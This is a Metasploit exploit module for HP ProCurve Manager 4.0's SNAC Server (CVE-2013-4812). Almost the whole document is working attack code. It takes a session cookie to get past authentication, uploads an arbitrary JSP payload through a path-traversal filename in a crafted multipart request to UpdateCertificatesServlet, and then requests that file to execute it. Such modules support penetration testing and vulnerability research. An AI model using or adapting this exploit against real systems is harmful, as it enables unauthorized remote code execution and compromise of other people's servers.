HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload',  
'Description' => %q{  
This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The  
vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary  
files, just having into account binary writes aren't allowed. Additionally, authentication  
can be bypassed in order to upload the file. This module has been tested successfully on  
the SNAC server installed with HP ProCurve Manager 4.0.  
},  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-4812' ],  
[ 'OSVDB', '97155' ],  
[ 'BID', '62348' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-225/' ]  
],  
'Privileged' => true,  
'Platform' => 'win',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'HP ProCurve Manager 4.0 SNAC Server', {} ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' =>  
{  
'SSL' => true,  
},  
'DisclosureDate' => 'Sep 09 2013'))  
  
register_options(  
[  
Opt::RPORT(443)  
], self.class )  
end  
  
def check  
session = get_session  
if session.nil?  
return Exploit::CheckCode::Safe  
end  
  
res = send_request_cgi({  
'uri' => "/RegWeb/RegWeb/GetCertificateStatusServlet",  
'cookie' => session  
})  
  
if res and res.code == 200 and res.body =~ /"success":"true"/  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def get_session  
res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" })  
session = nil  
if res and res.code == 200  
session = res.get_cookies  
end  
  
if session and not session.empty?  
return session  
end  
  
return nil  
end  
  
def exploit_upload(session)  
jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp"  
rand_password = rand_text_alpha(4 + rand(10))  
post_message = Rex::MIME::Message.new  
post_message.add_part(payload.encoded, "application/x-pkcs12", nil, "form-data; name=\"importFile\"; filename=\"\\../#{jsp_name}\"")  
post_message.add_part(rand_password, nil, nil, "form-data; name=\"importPasswd\"")  
post_message.add_part("{\"importPasswd\":\"#{rand_password}\"}", nil, nil, "form-data; name=\"cert_data\"")  
post_message.add_part("importCertificate", nil, nil, "form-data; name=\"cert_action\"")  
data = post_message.to_s  
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")  
  
res = send_request_cgi(  
{  
'uri' => "/RegWeb/RegWeb/UpdateCertificatesServlet",  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_message.bound}",  
'cookie' => session,  
'data' => data,  
})  
  
if res and res.code == 200 and res.body =~ /Certificate import fails/  
return jsp_name  
end  
  
return nil  
end  
  
def peer  
return "#{rhost}:#{rport}"  
end  
  
def exploit  
print_status("#{peer} - Getting a valid session...")  
session = get_session  
if session.nil?  
fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session")  
end  
  
print_status("#{peer} - Uploading payload...")  
jsp = exploit_upload(session)  
unless jsp  
fail_with(Failure::NotVulnerable, "#{peer} - Upload failed")  
end  
  
print_status("#{peer} - Executing payload...")  
send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" })  
end  
  
end  
`